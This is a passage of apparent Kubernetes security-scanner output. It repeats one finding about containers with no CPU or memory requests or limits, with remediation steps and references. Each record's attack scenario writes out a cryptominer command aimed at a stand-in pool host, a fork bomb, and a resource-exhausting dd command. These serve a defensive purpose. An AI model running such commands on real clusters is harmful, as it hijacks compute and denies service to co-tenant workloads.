      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:foothold-fixtures:foothold-quiet-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/foothold-fixtures/foothold-quiet-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/foothold-fixtures/foothold-quiet-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "foothold-quiet-app",
      "namespace": "foothold-fixtures",
      "api_group": "apps"
    },
    "namespace": "foothold-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/foothold-fixtures/foothold-quiet-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n foothold-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:gw-workloads:gw-web:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/gw-workloads/gw-web` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/gw-workloads/gw-web` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "gw-web",
      "namespace": "gw-workloads",
      "api_group": "apps"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/gw-workloads/gw-web`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n gw-workloads --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:hookbackend-fixtures:hookbackend-injector:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/hookbackend-fixtures/hookbackend-injector` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/hookbackend-fixtures/hookbackend-injector` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "hookbackend-injector",
      "namespace": "hookbackend-fixtures",
      "api_group": "apps"
    },
    "namespace": "hookbackend-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/hookbackend-fixtures/hookbackend-injector`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n hookbackend-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:imgswap-fixtures:imgswap-reader-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/imgswap-fixtures/imgswap-reader-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/imgswap-fixtures/imgswap-reader-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "imgswap-reader-app",
      "namespace": "imgswap-fixtures",
      "api_group": "apps"
    },
    "namespace": "imgswap-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/imgswap-fixtures/imgswap-reader-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n imgswap-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:ingress-only:ingress-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/ingress-only/ingress-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/ingress-only/ingress-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "ingress-app",
      "namespace": "ingress-only",
      "api_group": "apps"
    },
    "namespace": "ingress-only",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/ingress-only/ingress-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n ingress-only --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:lp-fixtures:lp-narrow-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/lp-fixtures/lp-narrow-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/lp-fixtures/lp-narrow-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "lp-narrow-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-narrow-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n lp-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:lp-fixtures:lp-orphan-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
